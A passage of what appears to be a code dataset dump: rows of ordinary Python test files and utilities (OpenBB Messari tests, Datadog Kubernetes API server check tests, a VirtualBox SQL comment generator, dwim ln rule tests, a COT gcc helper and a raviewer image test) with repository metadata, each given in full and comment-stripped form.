)
recorder.capture(df)
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_project_product_info(coin, recorder):
df_info, df_repos, df_audits, df_vulns = messari_model.get_project_product_info(
symbol=coin
)
recorder.capture_list([df_info, df_repos, df_audits, df_vulns])
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_roadmap(coin, recorder):
df = messari_model.get_roadmap(symbol=coin)
recorder.capture(df)
| 21.503226 | 87 | 0.665767 |
import pytest
from openbb_terminal.cryptocurrency.due_diligence import messari_model
@pytest.fixture(scope="module")
def vcr_config():
return {
"filter_headers": [
("User-Agent", None),
("x-messari-api-key", "mock_x-messari-api-key"),
],
}
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin,interval,start,end",
[
("btc", "1d", "2022-01-10", "2022-03-08"),
],
)
def test_get_marketcap_dominance(coin, interval, start, end, recorder):
df = messari_model.get_marketcap_dominance(
coin=coin, interval=interval, start=start, end=end
)
recorder.capture(df)
@pytest.mark.vcr
def test_get_available_timeseries(recorder):
df = messari_model.get_available_timeseries()
recorder.capture(df)
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("aave"),
],
)
def test_get_coin_tokenomics(coin, recorder):
df = messari_model.get_coin_tokenomics(symbol=coin)
recorder.capture(df)
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_fundraising(coin, recorder):
(
summary,
df_sales_rounds,
df_treasury_accs,
df_details,
) = messari_model.get_fundraising(symbol=coin)
recorder.capture_list([summary, df_sales_rounds, df_treasury_accs, df_details])
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_governance(coin, recorder):
summary, df = messari_model.get_governance(symbol=coin)
recorder.capture_list([summary, df])
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_investors(coin, recorder):
df_individuals, df_organizations = messari_model.get_investors(symbol=coin)
recorder.capture_list([df_individuals, df_organizations])
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_team(coin, recorder):
df_individuals, df_organizations = messari_model.get_team(symbol=coin)
recorder.capture_list([df_individuals, df_organizations])
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_links(coin, recorder):
df = messari_model.get_links(symbol=coin)
recorder.capture(df)
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin,interval,start,end,timeseries_id",
[
("btc", "1d", "2022-01-10", "2022-03-08", "sply.circ"),
],
)
def test_get_messari_timeseries(coin, interval, start, end, timeseries_id, recorder):
df, _ = messari_model.get_messari_timeseries(
coin=coin, interval=interval, start=start, end=end, timeseries_id=timeseries_id
)
recorder.capture(df)
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_project_product_info(coin, recorder):
df_info, df_repos, df_audits, df_vulns = messari_model.get_project_product_info(
symbol=coin
)
recorder.capture_list([df_info, df_repos, df_audits, df_vulns])
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_roadmap(coin, recorder):
df = messari_model.get_roadmap(symbol=coin)
recorder.capture(df)
| true | true |
f73c3cbb56cbef0d49a702ea92e553a92208d8e7 | 5,586 | py | Python | kube_apiserver_metrics/tests/test_kube_apiserver_metrics.py | jfmyers9/integrations-core | 8793c784f1d5b2c9541b2dd4214dd91584793ced | [
"BSD-3-Clause"
] | null | null | null | kube_apiserver_metrics/tests/test_kube_apiserver_metrics.py | jfmyers9/integrations-core | 8793c784f1d5b2c9541b2dd4214dd91584793ced | [
"BSD-3-Clause"
] | null | null | null | kube_apiserver_metrics/tests/test_kube_apiserver_metrics.py | jfmyers9/integrations-core | 8793c784f1d5b2c9541b2dd4214dd91584793ced | [
"BSD-3-Clause"
] | null | null | null | # (C) Datadog, Inc. 2019-present
# All rights reserved
# Licensed under a 3-clause BSD style license (see LICENSE)
# stdlib
import os
import tempfile
import mock
import pytest
from datadog_checks.kube_apiserver_metrics import KubeAPIServerMetricsCheck
from .common import APISERVER_INSTANCE_BEARER_TOKEN
customtag = "custom:tag"
minimal_instance = {'prometheus_url': 'https://localhost:443/metrics'}
minimal_instance_legacy = {'prometheus_url': 'localhost:443/metrics'}
instance = {
'prometheus_url': 'https://localhost:443/metrics',
'bearer_token_auth': 'false',
'tags': [customtag],
}
instanceSecure = {
'prometheus_url': 'https://localhost:443/metrics',
'bearer_token_auth': 'true',
'tags': [customtag],
}
@pytest.fixture()
def mock_get():
f_name = os.path.join(os.path.dirname(__file__), 'fixtures', 'metrics.txt')
with open(f_name, 'r') as f:
text_data = f.read()
with mock.patch(
'requests.get',
return_value=mock.MagicMock(
status_code=200,
iter_lines=lambda **kwargs: text_data.split("\n"),
headers={'Content-Type': "text/plain", 'Authorization': "Bearer XXX"},
),
):
yield
@pytest.fixture()
def mock_read_bearer_token():
with mock.patch(
'datadog_checks.checks.openmetrics.OpenMetricsBaseCheck._get_bearer_token', return_value="XXX",
):
yield
class TestKubeAPIServerMetrics:
"""Basic Test for kube_apiserver integration."""
CHECK_NAME = 'kube_apiserver_metrics'
NAMESPACE = 'kube_apiserver'
METRICS = [
NAMESPACE + '.longrunning_gauge',
NAMESPACE + '.current_inflight_requests',
NAMESPACE + '.audit_event',
NAMESPACE + '.go_threads',
NAMESPACE + '.go_goroutines',
NAMESPACE + '.APIServiceRegistrationController_depth',
NAMESPACE + '.etcd_object_counts',
NAMESPACE + '.rest_client_requests_total',
NAMESPACE + '.apiserver_request_count',
NAMESPACE + '.apiserver_dropped_requests_total',
NAMESPACE + '.http_requests_total',
NAMESPACE + '.authenticated_user_requests',
NAMESPACE + '.rest_client_request_latency_seconds.sum',
NAMESPACE + '.rest_client_request_latency_seconds.count',
NAMESPACE + '.admission_webhook_admission_latencies_seconds.sum',
NAMESPACE + '.admission_webhook_admission_latencies_seconds.count',
NAMESPACE + '.admission_step_admission_latencies_seconds.sum',
NAMESPACE + '.admission_step_admission_latencies_seconds.count',
NAMESPACE + '.admission_step_admission_latencies_seconds_summary.sum',
NAMESPACE + '.admission_step_admission_latencies_seconds_summary.count',
NAMESPACE + '.admission_step_admission_latencies_seconds_summary.quantile',
]
COUNT_METRICS = [
NAMESPACE + '.audit_event.count',
NAMESPACE + '.rest_client_requests_total.count',
NAMESPACE + '.apiserver_request_count.count',
NAMESPACE + '.apiserver_dropped_requests_total.count',
NAMESPACE + '.http_requests_total.count',
NAMESPACE + '.authenticated_user_requests.count',
]
def test_check(self, aggregator, mock_get):
"""
Testing kube_apiserver_metrics metrics collection.
"""
check = KubeAPIServerMetricsCheck('kube_apiserver_metrics', {}, [instance])
check.check(instance)
# check that we then get the count metrics also
check.check(instance)
for metric in self.METRICS + self.COUNT_METRICS:
aggregator.assert_metric(metric)
aggregator.assert_metric_has_tag(metric, customtag)
aggregator.assert_all_metrics_covered()
def test_bearer(self):
"""
Testing the bearer token configuration.
"""
temp_dir = tempfile.mkdtemp()
temp_bearer_file = os.path.join(temp_dir, "foo")
with open(temp_bearer_file, "w+") as f:
f.write("XXX")
instanceSecure["bearer_token_path"] = temp_bearer_file
check = KubeAPIServerMetricsCheck('kube_apiserver_metrics', {}, [instanceSecure])
apiserver_instance = check._create_kube_apiserver_metrics_instance(instanceSecure)
configured_instance = check.get_scraper_config(apiserver_instance)
os.remove(temp_bearer_file)
assert configured_instance["_bearer_token"] == APISERVER_INSTANCE_BEARER_TOKEN
def test_default_config(self, aggregator, mock_read_bearer_token):
"""
Testing the default configuration.
"""
check = KubeAPIServerMetricsCheck('kube_apiserver_metrics', {}, [minimal_instance])
check.process = mock.MagicMock()
check.check(minimal_instance)
apiserver_instance = check.kube_apiserver_config
assert not apiserver_instance["ssl_verify"]
assert apiserver_instance["bearer_token_auth"]
assert apiserver_instance["prometheus_url"] == "https://localhost:443/metrics"
def test_default_config_legacy(self, aggregator, mock_read_bearer_token):
"""
Testing the default legacy configuration.
"""
check = KubeAPIServerMetricsCheck('kube_apiserver_metrics', {}, [minimal_instance_legacy])
check.process = mock.MagicMock()
check.check(minimal_instance_legacy)
apiserver_instance = check.kube_apiserver_config
assert not apiserver_instance["ssl_verify"]
assert apiserver_instance["bearer_token_auth"]
assert apiserver_instance["prometheus_url"] == "https://localhost:443/metrics"
| 35.807692 | 103 | 0.691192 |
import os
import tempfile
import mock
import pytest
from datadog_checks.kube_apiserver_metrics import KubeAPIServerMetricsCheck
from .common import APISERVER_INSTANCE_BEARER_TOKEN
customtag = "custom:tag"
minimal_instance = {'prometheus_url': 'https://localhost:443/metrics'}
minimal_instance_legacy = {'prometheus_url': 'localhost:443/metrics'}
instance = {
'prometheus_url': 'https://localhost:443/metrics',
'bearer_token_auth': 'false',
'tags': [customtag],
}
instanceSecure = {
'prometheus_url': 'https://localhost:443/metrics',
'bearer_token_auth': 'true',
'tags': [customtag],
}
@pytest.fixture()
def mock_get():
f_name = os.path.join(os.path.dirname(__file__), 'fixtures', 'metrics.txt')
with open(f_name, 'r') as f:
text_data = f.read()
with mock.patch(
'requests.get',
return_value=mock.MagicMock(
status_code=200,
iter_lines=lambda **kwargs: text_data.split("\n"),
headers={'Content-Type': "text/plain", 'Authorization': "Bearer XXX"},
),
):
yield
@pytest.fixture()
def mock_read_bearer_token():
with mock.patch(
'datadog_checks.checks.openmetrics.OpenMetricsBaseCheck._get_bearer_token', return_value="XXX",
):
yield
class TestKubeAPIServerMetrics:
CHECK_NAME = 'kube_apiserver_metrics'
NAMESPACE = 'kube_apiserver'
METRICS = [
NAMESPACE + '.longrunning_gauge',
NAMESPACE + '.current_inflight_requests',
NAMESPACE + '.audit_event',
NAMESPACE + '.go_threads',
NAMESPACE + '.go_goroutines',
NAMESPACE + '.APIServiceRegistrationController_depth',
NAMESPACE + '.etcd_object_counts',
NAMESPACE + '.rest_client_requests_total',
NAMESPACE + '.apiserver_request_count',
NAMESPACE + '.apiserver_dropped_requests_total',
NAMESPACE + '.http_requests_total',
NAMESPACE + '.authenticated_user_requests',
NAMESPACE + '.rest_client_request_latency_seconds.sum',
NAMESPACE + '.rest_client_request_latency_seconds.count',
NAMESPACE + '.admission_webhook_admission_latencies_seconds.sum',
NAMESPACE + '.admission_webhook_admission_latencies_seconds.count',
NAMESPACE + '.admission_step_admission_latencies_seconds.sum',
NAMESPACE + '.admission_step_admission_latencies_seconds.count',
NAMESPACE + '.admission_step_admission_latencies_seconds_summary.sum',
NAMESPACE + '.admission_step_admission_latencies_seconds_summary.count',
NAMESPACE + '.admission_step_admission_latencies_seconds_summary.quantile',
]
COUNT_METRICS = [
NAMESPACE + '.audit_event.count',
NAMESPACE + '.rest_client_requests_total.count',
NAMESPACE + '.apiserver_request_count.count',
NAMESPACE + '.apiserver_dropped_requests_total.count',
NAMESPACE + '.http_requests_total.count',
NAMESPACE + '.authenticated_user_requests.count',
]
def test_check(self, aggregator, mock_get):
check = KubeAPIServerMetricsCheck('kube_apiserver_metrics', {}, [instance])
check.check(instance)
check.check(instance)
for metric in self.METRICS + self.COUNT_METRICS:
aggregator.assert_metric(metric)
aggregator.assert_metric_has_tag(metric, customtag)
aggregator.assert_all_metrics_covered()
def test_bearer(self):
temp_dir = tempfile.mkdtemp()
temp_bearer_file = os.path.join(temp_dir, "foo")
with open(temp_bearer_file, "w+") as f:
f.write("XXX")
instanceSecure["bearer_token_path"] = temp_bearer_file
check = KubeAPIServerMetricsCheck('kube_apiserver_metrics', {}, [instanceSecure])
apiserver_instance = check._create_kube_apiserver_metrics_instance(instanceSecure)
configured_instance = check.get_scraper_config(apiserver_instance)
os.remove(temp_bearer_file)
assert configured_instance["_bearer_token"] == APISERVER_INSTANCE_BEARER_TOKEN
def test_default_config(self, aggregator, mock_read_bearer_token):
check = KubeAPIServerMetricsCheck('kube_apiserver_metrics', {}, [minimal_instance])
check.process = mock.MagicMock()
check.check(minimal_instance)
apiserver_instance = check.kube_apiserver_config
assert not apiserver_instance["ssl_verify"]
assert apiserver_instance["bearer_token_auth"]
assert apiserver_instance["prometheus_url"] == "https://localhost:443/metrics"
def test_default_config_legacy(self, aggregator, mock_read_bearer_token):
check = KubeAPIServerMetricsCheck('kube_apiserver_metrics', {}, [minimal_instance_legacy])
check.process = mock.MagicMock()
check.check(minimal_instance_legacy)
apiserver_instance = check.kube_apiserver_config
assert not apiserver_instance["ssl_verify"]
assert apiserver_instance["bearer_token_auth"]
assert apiserver_instance["prometheus_url"] == "https://localhost:443/metrics"
| true | true |
f73c3ce0785788528d09862a2af8008e078f20cf | 8,385 | py | Python | vbox/src/VBox/ValidationKit/testmanager/db/gen-sql-comments.py | Nurzamal/rest_api_docker | a9cc01dfc235467d490d9663755b33ef6990bdd8 | [
"MIT"
] | null | null | null | vbox/src/VBox/ValidationKit/testmanager/db/gen-sql-comments.py | Nurzamal/rest_api_docker | a9cc01dfc235467d490d9663755b33ef6990bdd8 | [
"MIT"
] | null | null | null | vbox/src/VBox/ValidationKit/testmanager/db/gen-sql-comments.py | Nurzamal/rest_api_docker | a9cc01dfc235467d490d9663755b33ef6990bdd8 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# $Id: gen-sql-comments.py 69781 2017-11-20 18:41:33Z vboxsync $
"""
Converts doxygen style comments in SQL script to COMMENT ON statements.
"""
__copyright__ = \
"""
Copyright (C) 2012-2017 Oracle Corporation
This file is part of VirtualBox Open Source Edition (OSE), as
available from http://www.virtualbox.org. This file is free software;
you can redistribute it and/or modify it under the terms of the GNU
General Public License (GPL) as published by the Free Software
Foundation, in version 2 as it comes in the "COPYING" file of the
VirtualBox OSE distribution. VirtualBox OSE is distributed in the
hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
The contents of this file may alternatively be used under the terms
of the Common Development and Distribution License Version 1.0
(CDDL) only, as it comes in the "COPYING.CDDL" file of the
VirtualBox OSE distribution, in which case the provisions of the
CDDL are applicable instead of those of the GPL.
You may elect to license modified versions of this file under the
terms and conditions of either the GPL or the CDDL or both.
"""
import sys;
import re;
def errorMsg(sMsg):
sys.stderr.write('error: %s\n' % (sMsg,));
return 1;
class SqlDox(object):
"""
Class for parsing relevant comments out of a pgsql file
and emit COMMENT ON statements from it.
"""
def __init__(self, oFile, sFilename):
self.oFile = oFile;
self.sFilename = sFilename;
self.iLine = 0; # The current input line number.
self.sComment = None; # The current comment.
self.fCommentComplete = False; # Indicates that the comment has ended.
self.sCommentSqlObj = None; # SQL object indicated by the comment (@table).
self.sOuterSqlObj = None; # Like 'table yyyy' or 'type zzzz'.
self.sPrevSqlObj = None; # Like 'table xxxx'.
def error(self, sMsg):
return errorMsg('%s(%d): %s' % (self.sFilename, self.iLine, sMsg,));
def dprint(self, sMsg):
sys.stderr.write('debug: %s\n' % (sMsg,));
return True;
def resetComment(self):
self.sComment = None;
self.fCommentComplete = False;
self.sCommentSqlObj = None;
def quoteSqlString(self, s):
return s.replace("'", "''");
def commitComment2(self, sSqlObj):
if self.sComment is not None and sSqlObj is not None:
print("COMMENT ON %s IS\n '%s';\n" % (sSqlObj, self.quoteSqlString(self.sComment.strip())));
self.resetComment();
return True;
def commitComment(self):
return self.commitComment2(self.sCommentSqlObj);
def process(self):
for sLine in self.oFile:
self.iLine += 1;
sLine = sLine.strip();
self.dprint('line %d: %s\n' % (self.iLine, sLine));
if sLine.startswith('--'):
if sLine.startswith('--- '):
#
# New comment.
# The first list may have a @table, @type or similar that we're interested in.
#
self.commitComment();
sLine = sLine.lstrip('- ');
if sLine.startswith('@table '):
self.sCommentSqlObj = 'TABLE ' + (sLine[7:]).rstrip();
self.sComment = '';
elif sLine.startswith('@type '):
self.sCommentSqlObj = 'TYPE ' + (sLine[6:]).rstrip();
self.sComment = '';
elif sLine.startswith('@todo') \
or sLine.startswith('@file') \
or sLine.startswith('@page') \
or sLine.startswith('@name') \
or sLine.startswith('@{') \
or sLine.startswith('@}'):
# Ignore.
pass;
elif sLine.startswith('@'):
return self.error('Unknown tag: %s' % (sLine,));
else:
self.sComment = sLine;
elif (sLine.startswith('-- ') or sLine == '--') \
and self.sComment is not None and self.fCommentComplete is False:
#
# Append line to comment.
#
if sLine == '--':
sLine = '';
else:
sLine = (sLine[3:]);
if self.sComment == '':
self.sComment = sLine;
else:
self.sComment += "\n" + sLine;
elif sLine.startswith('--< '):
#
# Comment that starts on the same line as the object it describes.
#
sLine = (sLine[4:]).rstrip();
# => Later/never.
else:
#
# Not a comment that interests us. So, complete any open
# comment and commit it if we know which SQL object it
# applies to.
#
self.fCommentComplete = True;
if self.sCommentSqlObj is not None:
self.commitComment();
else:
#
# Not a comment. As above, we complete and optionally commit
# any open comment.
#
self.fCommentComplete = True;
if self.sCommentSqlObj is not None:
self.commitComment();
#
# Check for SQL (very fuzzy and bad).
#
asWords = sLine.split(' ');
if len(asWords) >= 3 \
and asWords[0] == 'CREATE':
# CREATE statement.
sType = asWords[1];
sName = asWords[2];
if sType == 'UNIQUE' and sName == 'INDEX' and len(asWords) >= 4:
sType = asWords[2];
sName = asWords[3];
if sType in ('TABLE', 'TYPE', 'INDEX', 'VIEW'):
self.sOuterSqlObj = sType + ' ' + sName;
self.sPrevSqlObj = self.sOuterSqlObj;
self.dprint('%s' % (self.sOuterSqlObj,));
self.commitComment2(self.sOuterSqlObj);
elif len(asWords) >= 1 \
and self.sOuterSqlObj is not None \
and self.sOuterSqlObj.startswith('TABLE ') \
and re.search("^(as|al|bm|c|enm|f|i|l|s|ts|uid|uuid)[A-Z][a-zA-Z0-9]*$", asWords[0]) is not None:
# Possibly a column name.
self.sPrevSqlObj = 'COLUMN ' + self.sOuterSqlObj[6:] + '.' + asWords[0];
self.dprint('column? %s' % (self.sPrevSqlObj));
self.commitComment2(self.sPrevSqlObj);
#
# Check for semicolon.
#
if sLine.find(");") >= 0:
self.sOuterSqlObj = None;
return 0;
def usage():
sys.stderr.write('usage: gen-sql-comments.py <filename.pgsql>\n'
'\n'
'The output goes to stdout.\n');
return 0;
def main(asArgs):
# Parse the argument. :-)
sInput = None;
if (len(asArgs) != 2):
sys.stderr.write('syntax error: expected exactly 1 argument, a psql file\n');
usage();
return 2;
sInput = asArgs[1];
# Do the job, outputting to standard output.
try:
oFile = open(sInput, 'r');
except:
return errorMsg("failed to open '%s' for reading" % (sInput,));
# header.
print("-- $" "Id" "$");
print("--- @file");
print("-- Autogenerated from %s. Do not edit!" % (sInput,));
print("--");
print("");
for sLine in __copyright__.split('\n'):
if len(sLine) > 0:
print("-- %s" % (sLine,));
else:
print("--");
print("");
print("");
me = SqlDox(oFile, sInput);
return me.process();
sys.exit(main(sys.argv));
| 36.938326 | 115 | 0.49195 |
__copyright__ = \
"""
Copyright (C) 2012-2017 Oracle Corporation
This file is part of VirtualBox Open Source Edition (OSE), as
available from http://www.virtualbox.org. This file is free software;
you can redistribute it and/or modify it under the terms of the GNU
General Public License (GPL) as published by the Free Software
Foundation, in version 2 as it comes in the "COPYING" file of the
VirtualBox OSE distribution. VirtualBox OSE is distributed in the
hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
The contents of this file may alternatively be used under the terms
of the Common Development and Distribution License Version 1.0
(CDDL) only, as it comes in the "COPYING.CDDL" file of the
VirtualBox OSE distribution, in which case the provisions of the
CDDL are applicable instead of those of the GPL.
You may elect to license modified versions of this file under the
terms and conditions of either the GPL or the CDDL or both.
"""
import sys;
import re;
def errorMsg(sMsg):
sys.stderr.write('error: %s\n' % (sMsg,));
return 1;
class SqlDox(object):
def __init__(self, oFile, sFilename):
self.oFile = oFile;
self.sFilename = sFilename;
self.iLine = 0;
self.sComment = None;
self.fCommentComplete = False;
self.sCommentSqlObj = None;
self.sOuterSqlObj = None;
self.sPrevSqlObj = None;
def error(self, sMsg):
return errorMsg('%s(%d): %s' % (self.sFilename, self.iLine, sMsg,));
def dprint(self, sMsg):
sys.stderr.write('debug: %s\n' % (sMsg,));
return True;
def resetComment(self):
self.sComment = None;
self.fCommentComplete = False;
self.sCommentSqlObj = None;
def quoteSqlString(self, s):
return s.replace("'", "''");
def commitComment2(self, sSqlObj):
if self.sComment is not None and sSqlObj is not None:
print("COMMENT ON %s IS\n '%s';\n" % (sSqlObj, self.quoteSqlString(self.sComment.strip())));
self.resetComment();
return True;
def commitComment(self):
return self.commitComment2(self.sCommentSqlObj);
def process(self):
for sLine in self.oFile:
self.iLine += 1;
sLine = sLine.strip();
self.dprint('line %d: %s\n' % (self.iLine, sLine));
if sLine.startswith('--'):
if sLine.startswith('--- '):
#
# New comment.
# The first list may have a @table, @type or similar that we're interested in.
self.commitComment();
sLine = sLine.lstrip('- ');
if sLine.startswith('@table '):
self.sCommentSqlObj = 'TABLE ' + (sLine[7:]).rstrip();
self.sComment = '';
elif sLine.startswith('@type '):
self.sCommentSqlObj = 'TYPE ' + (sLine[6:]).rstrip();
self.sComment = '';
elif sLine.startswith('@todo') \
or sLine.startswith('@file') \
or sLine.startswith('@page') \
or sLine.startswith('@name') \
or sLine.startswith('@{') \
or sLine.startswith('@}'):
pass;
elif sLine.startswith('@'):
return self.error('Unknown tag: %s' % (sLine,));
else:
self.sComment = sLine;
elif (sLine.startswith('-- ') or sLine == '--') \
and self.sComment is not None and self.fCommentComplete is False:
if sLine == '--':
sLine = '';
else:
sLine = (sLine[3:]);
if self.sComment == '':
self.sComment = sLine;
else:
self.sComment += "\n" + sLine;
elif sLine.startswith('--< '):
sLine = (sLine[4:]).rstrip();
else:
self.fCommentComplete = True;
if self.sCommentSqlObj is not None:
self.commitComment();
else:
self.fCommentComplete = True;
if self.sCommentSqlObj is not None:
self.commitComment();
asWords = sLine.split(' ');
if len(asWords) >= 3 \
and asWords[0] == 'CREATE':
sType = asWords[1];
sName = asWords[2];
if sType == 'UNIQUE' and sName == 'INDEX' and len(asWords) >= 4:
sType = asWords[2];
sName = asWords[3];
if sType in ('TABLE', 'TYPE', 'INDEX', 'VIEW'):
self.sOuterSqlObj = sType + ' ' + sName;
self.sPrevSqlObj = self.sOuterSqlObj;
self.dprint('%s' % (self.sOuterSqlObj,));
self.commitComment2(self.sOuterSqlObj);
elif len(asWords) >= 1 \
and self.sOuterSqlObj is not None \
and self.sOuterSqlObj.startswith('TABLE ') \
and re.search("^(as|al|bm|c|enm|f|i|l|s|ts|uid|uuid)[A-Z][a-zA-Z0-9]*$", asWords[0]) is not None:
self.sPrevSqlObj = 'COLUMN ' + self.sOuterSqlObj[6:] + '.' + asWords[0];
self.dprint('column? %s' % (self.sPrevSqlObj));
self.commitComment2(self.sPrevSqlObj);
if sLine.find(");") >= 0:
self.sOuterSqlObj = None;
return 0;
def usage():
sys.stderr.write('usage: gen-sql-comments.py <filename.pgsql>\n'
'\n'
'The output goes to stdout.\n');
return 0;
def main(asArgs):
sInput = None;
if (len(asArgs) != 2):
sys.stderr.write('syntax error: expected exactly 1 argument, a psql file\n');
usage();
return 2;
sInput = asArgs[1];
try:
oFile = open(sInput, 'r');
except:
return errorMsg("failed to open '%s' for reading" % (sInput,));
print("-- $" "Id" "$");
print("--- @file");
print("-- Autogenerated from %s. Do not edit!" % (sInput,));
print("--");
print("");
for sLine in __copyright__.split('\n'):
if len(sLine) > 0:
print("-- %s" % (sLine,));
else:
print("--");
print("");
print("");
me = SqlDox(oFile, sInput);
return me.process();
sys.exit(main(sys.argv));
| true | true |
f73c3de41c1c7293344a4d4987dade136b68848a | 1,182 | py | Python | tests/rules/test_ln_no_hard_link.py | aoeu/DWIM | a3d59e5824cfd7a5195916c1af28fe54dcbbb2c1 | [
"MIT"
] | null | null | null | tests/rules/test_ln_no_hard_link.py | aoeu/DWIM | a3d59e5824cfd7a5195916c1af28fe54dcbbb2c1 | [
"MIT"
] | null | null | null | tests/rules/test_ln_no_hard_link.py | aoeu/DWIM | a3d59e5824cfd7a5195916c1af28fe54dcbbb2c1 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import pytest
from dwim.rules.ln_no_hard_link import match, get_new_command
from tests.utils import Command
error = "hard link not allowed for directory"
@pytest.mark.parametrize('script, stderr', [
("ln barDir barLink", "ln: ‘barDir’: {}"),
("sudo ln a b", "ln: ‘a’: {}"),
("sudo ln -nbi a b", "ln: ‘a’: {}")])
def test_match(script, stderr):
command = Command(script, stderr=stderr.format(error))
assert match(command)
@pytest.mark.parametrize('script, stderr', [
('', ''),
("ln a b", "... hard link"),
("sudo ln a b", "... hard link"),
("a b", error)])
def test_not_match(script, stderr):
command = Command(script, stderr=stderr)
assert not match(command)
@pytest.mark.parametrize('script, result', [
("ln barDir barLink", "ln -s barDir barLink"),
("sudo ln barDir barLink", "sudo ln -s barDir barLink"),
("sudo ln -nbi a b", "sudo ln -s -nbi a b"),
("ln -nbi a b && ls", "ln -s -nbi a b && ls"),
("ln a ln", "ln -s a ln"),
("sudo ln a ln", "sudo ln -s a ln")])
def test_get_new_command(script, result):
command = Command(script)
assert get_new_command(command) == result
| 31.105263 | 61 | 0.608291 |
import pytest
from dwim.rules.ln_no_hard_link import match, get_new_command
from tests.utils import Command
error = "hard link not allowed for directory"
@pytest.mark.parametrize('script, stderr', [
("ln barDir barLink", "ln: ‘barDir’: {}"),
("sudo ln a b", "ln: ‘a’: {}"),
("sudo ln -nbi a b", "ln: ‘a’: {}")])
def test_match(script, stderr):
command = Command(script, stderr=stderr.format(error))
assert match(command)
@pytest.mark.parametrize('script, stderr', [
('', ''),
("ln a b", "... hard link"),
("sudo ln a b", "... hard link"),
("a b", error)])
def test_not_match(script, stderr):
command = Command(script, stderr=stderr)
assert not match(command)
@pytest.mark.parametrize('script, result', [
("ln barDir barLink", "ln -s barDir barLink"),
("sudo ln barDir barLink", "sudo ln -s barDir barLink"),
("sudo ln -nbi a b", "sudo ln -s -nbi a b"),
("ln -nbi a b && ls", "ln -s -nbi a b && ls"),
("ln a ln", "ln -s a ln"),
("sudo ln a ln", "sudo ln -s a ln")])
def test_get_new_command(script, result):
command = Command(script)
assert get_new_command(command) == result
| true | true |
f73c3e336e5aa1bf58b6cf10d536964efaa292d7 | 1,049 | py | Python | COT/helpers/gcc.py | morneaup/cot | 3d4dc7079a33aa0c09216ec339b44f84ab69ff4b | [
"MIT"
] | 81 | 2015-01-18T22:31:42.000Z | 2022-03-14T12:34:33.000Z | COT/helpers/gcc.py | morneaup/cot | 3d4dc7079a33aa0c09216ec339b44f84ab69ff4b | [
"MIT"
] | 67 | 2015-01-05T15:24:39.000Z | 2021-08-16T12:44:58.000Z | COT/helpers/gcc.py | morneaup/cot | 3d4dc7079a33aa0c09216ec339b44f84ab69ff4b | [
"MIT"
] | 20 | 2015-07-09T14:20:25.000Z | 2021-09-18T17:59:57.000Z | #!/usr/bin/env python
#
# gcc.py - Helper for 'gcc'
#
# October 2016, Glenn F. Matthews
# Copyright (c) 2013-2016 the COT project developers.
# See the COPYRIGHT.txt file at the top-level directory of this distribution
# and at https://github.com/glennmatthews/cot/blob/master/COPYRIGHT.txt.
#
# This file is part of the Common OVF Tool (COT) project.
# It is subject to the license terms in the LICENSE.txt file found in the
# top-level directory of this distribution and at
# https://github.com/glennmatthews/cot/blob/master/LICENSE.txt. No part
# of COT, including this file, may be copied, modified, propagated, or
# distributed except according to the terms contained in the LICENSE.txt file.
"""Give COT access to ``gcc`` command for building other helpers."""
from COT.helpers.helper import Helper
class GCC(Helper):
"""Helper provider for ``gcc`` command."""
_provider_package = {
'apt-get': 'gcc',
'yum': 'gcc',
}
def __init__(self):
"""Initializer."""
super(GCC, self).__init__("gcc")
| 31.787879 | 78 | 0.696854 |
from COT.helpers.helper import Helper
class GCC(Helper):
_provider_package = {
'apt-get': 'gcc',
'yum': 'gcc',
}
def __init__(self):
super(GCC, self).__init__("gcc")
| true | true |
f73c3e4f635151c36610e72e22eb704ef08d3309 | 1,117 | py | Python | tests/image_test.py | antmicro/raviewer | 7529664d37e994d4c2f4c450a5577b79d73c4bb0 | [
"Apache-2.0"
] | 12 | 2021-11-18T09:38:34.000Z | 2022-03-24T19:33:44.000Z | tests/image_test.py | antmicro/raviewer | 7529664d37e994d4c2f4c450a5577b79d73c4bb0 | [
"Apache-2.0"
] | 1 | 2022-02-14T12:07:02.000Z | 2022-03-21T19:29:11.000Z | tests/image_test.py | antmicro/raviewer | 7529664d37e994d4c2f4c450a5577b79d73c4bb0 | [
"Apache-2.0"
] | null | null | null | import unittest
import numpy
import os
import raviewer.image.image as image
import raviewer.image.color_format as cf
from raviewer.src.core import load_image
class TestImageClass(unittest.TestCase):
def setUp(self):
self.TEST_FILE_BGR = os.path.join(os.path.dirname(__file__),
"../resources/RGB24_1000_750")
self.empty_img = image.Image(None)
with open(self.TEST_FILE_BGR, "rb") as file:
self.img = image.Image(file.read(), cf.AVAILABLE_FORMATS['RGB24'],
numpy.zeros(720 * 1280 * 4), 1280, 720)
def test_from_file(self):
self.assertEqual(
load_image(self.TEST_FILE_BGR).data_buffer, self.img.data_buffer)
with self.assertRaises(Exception):
load_image("not_real_path")
def test_height_width(self):
self.assertEqual(self.img.width, 1280)
self.assertEqual(self.img.height, 720)
self.assertEqual(self.empty_img.width, None)
self.assertEqual(self.empty_img.height, None)
if __name__ == "__main__":
unittest.main()
| 32.852941 | 78 | 0.645479 | import unittest
import numpy
import os
import raviewer.image.image as image
import raviewer.image.color_format as cf
from raviewer.src.core import load_image
class TestImageClass(unittest.TestCase):
def setUp(self):
self.TEST_FILE_BGR = os.path.join(os.path.dirname(__file__),
"../resources/RGB24_1000_750")
self.empty_img = image.Image(None)
with open(self.TEST_FILE_BGR, "rb") as file:
self.img = image.Image(file.read(), cf.AVAILABLE_FORMATS['RGB24'],
numpy.zeros(720 * 1280 * 4), 1280, 720)
